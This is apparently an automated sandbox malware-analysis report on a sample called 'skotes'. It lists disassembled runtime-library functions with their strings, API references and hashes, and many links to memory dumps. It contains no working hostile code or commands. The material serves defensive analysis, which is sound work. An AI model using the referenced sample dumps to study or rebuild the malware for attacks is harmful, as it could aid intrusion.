Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 623fa9a3942ad90804a354f4518e2151b4acac0dec42293d80e511b3cd3f6cd6
Instruction ID: f9f499cfa9fda11219414d2bde6b0d259e8dada94f298258fb6231d095a02084
Opcode Fuzzy Hash: 623fa9a3942ad90804a354f4518e2151b4acac0dec42293d80e511b3cd3f6cd6
Instruction Fuzzy Hash: 24317E71A002168FDB15DFE8C946BADBBB5BF49310B24406EE846E7351DB349E02CBA1

Function 005ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005ECC66

Strings

v^, xrefs: 005ECBE1

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v^
API String ID: 3213747228-294073887
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 4a9ba5dda3588c137163d1b140de9951b50ee777333873c90321157721631511
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 67B105329046D69FDB19CF2AC8417BEBFA5FF45340F2441AAE895DB242D635DD02CB50

Function 005E1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 005E1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005E1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005E1C2A

Strings

switchState, xrefs: 005E1B5E
pContext, xrefs: 005E1C22

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 44d3acbbb51cb5b38183c304f2f13f930e19d1425819d8861164f1666176a2fd
Instruction ID: abd8dc422d530f48dbb511886798f4cb5386c5b080f5d642164d6508dd0414a1
Opcode Fuzzy Hash: 44d3acbbb51cb5b38183c304f2f13f930e19d1425819d8861164f1666176a2fd
Instruction Fuzzy Hash: 45310735A406459FCF0CEF65C889E6D7B7AFF84310F204869E895DB281EB31DD01CA94

Function 005E4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 005E4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 005E4E86
PMDtoOffset.LIBCMT ref: 005E4EAC

Strings

Bad dynamic_cast!, xrefs: 005E4EEE

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: b332a13f814b7f4045ce07ea319f0427376b1c8d52d737bce30f471fb14c4da0
Instruction ID: 5ad00cca8dbba97349f5ed38b6e7ad3c10f057f8c5146a705ab1778d729f8896
Opcode Fuzzy Hash: b332a13f814b7f4045ce07ea319f0427376b1c8d52d737bce30f471fb14c4da0
Instruction Fuzzy Hash: 2321E772A00245AFCF1CDF6ADD4AEAE7FBDFB84720B104559F95197280EB31E9008E91

Function 005E727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 005E72BE

Strings

.cmd, xrefs: 005E72DC
.bat, xrefs: 005E72ED
.exe, xrefs: 005E72CB
.com, xrefs: 005E72FE

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 68a3c1a5b71047b9ca27c07a3a2ca1db0fbb9a0bd97a67d09900a506af30ec34
Instruction ID: 62b5e8b434a07062ef9464189378bad9eff1e82ec8dcc1608b247d24be16d1e2
Opcode Fuzzy Hash: 68a3c1a5b71047b9ca27c07a3a2ca1db0fbb9a0bd97a67d09900a506af30ec34
Instruction Fuzzy Hash: 4B01082B64879B256A2C101A9E067772F99AFC9BB4B36042AFCD4F71C1EF44DC4221A0

Function 005CFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005CFB06

Strings

GetThreadGroupAffinity, xrefs: 005CFA93
SetThreadGroupAffinity, xrefs: 005CFA87
GetCurrentProcessorNumberEx, xrefs: 005CFABE
kernel32.dll, xrefs: 005CFA7A

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
